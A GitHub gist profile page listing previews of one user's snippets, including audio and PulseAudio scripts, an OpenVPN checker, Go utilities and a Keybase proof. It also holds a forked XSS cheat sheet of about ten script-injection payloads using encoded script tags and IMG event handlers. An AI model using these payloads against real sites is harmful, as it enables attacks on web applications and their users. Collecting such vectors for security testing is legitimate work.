Skip to content

Instantly share code, notes, and snippets.

@freb
freb / vol
Created April 28, 2021 21:48
#!/bin/env python3
import os
import time
import subprocess
import argparse
# Maps a string contained in name, description, or product_name to our custom name
custom_names = {
"Plantronics_Blackwire_5220": "PLT 5220",
#!/usr/bin/env python
#
# Check if an OpenVPN server runs on a given UDP or TCP port.
#
import os
import sys
import time
import hmac
import hashlib
#!/bin/env python
#
# cyclesink sets all audio sources (sink inputs) to the same next
# sink in PulseAudio. PulseAudio sets newly created sink inputs to
# use the sink that was last assigned to, so all sources should always
# be using the same output unless the configuration is changed elsewhere.
import os
def get_sinks():
package dgraph
import (
"errors"
"fmt"
"reflect"
"strings"
"sync/atomic"
"github.com/mitchellh/reflectwalk"
@freb
freb / nest.go
Created April 19, 2019 08:03 — forked from markbeee/nest.go
GoogleNestGo
package main
import (
"bytes"
"encoding/json"
"errors"
"fmt"
flags "github.com/jessevdk/go-flags"
"io"
"io/ioutil"
{{- /* map from db type to non-null protobuf go type */ -}}
{{- $pbTypes := makeMap "bigint" "int64" "boolean" "bool" "character varying" "string" "character" "string" "date" "*timestamp.Timestamp" "integer" "int64" "smallint" "int32" "text" "string" "timestamp with time zone" "timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "tsvector" "string" "varchar" "string" "uuid" "string" "bytea" "[]byte" "jsonb" "string" "action_type" "ActionType" "project_type" "ProjectType" "stage_type" "StageType" "tag_type" "TagType" "user_assoc_type" "UserAssocType" -}}
{{- /* map from db type to null protobuf go type */}}
{{- $pbNullTypes := makeMap "bigint" "*wrappers.Int64Value" "boolean" "*wrappers.BoolValue" "character varying" "*wrappers.StringValue" "date" "*timestamp.Timestamp" "integer" "*wrappers.Int64Value" "jsonb" "*wrappers.StringValue" "text" "*wrappers.StringValue" "timestamp with time zone" " *timestamp.Timestamp" "timestamptz" "*timestamp.Timestamp" "uuid" "*wrappers.StringValue"}}
#
# use none for unchanged color
# match groups appear to match in reverse order
#
# https://github.com/pengwynn/grc/blob/master/grcat
#
# ip address
regexp=\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
colours=bold yellow
======
package main
import (
"fmt"
"log"
"os"
"regexp"
"strings"
"baliance.com/gooxml"
@freb
freb / xss_vectors.txt
Created September 12, 2018 17:06 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

Keybase proof

I hereby claim:

  • I am freb on github.
  • I am freb (https://keybase.io/freb) on keybase.
  • I have a public key ASB8W_PVhlwoeQ1c6E0tYDmUZeIEUlc8YcGoPgZ_9OegCQo

To claim this, I am signing this object: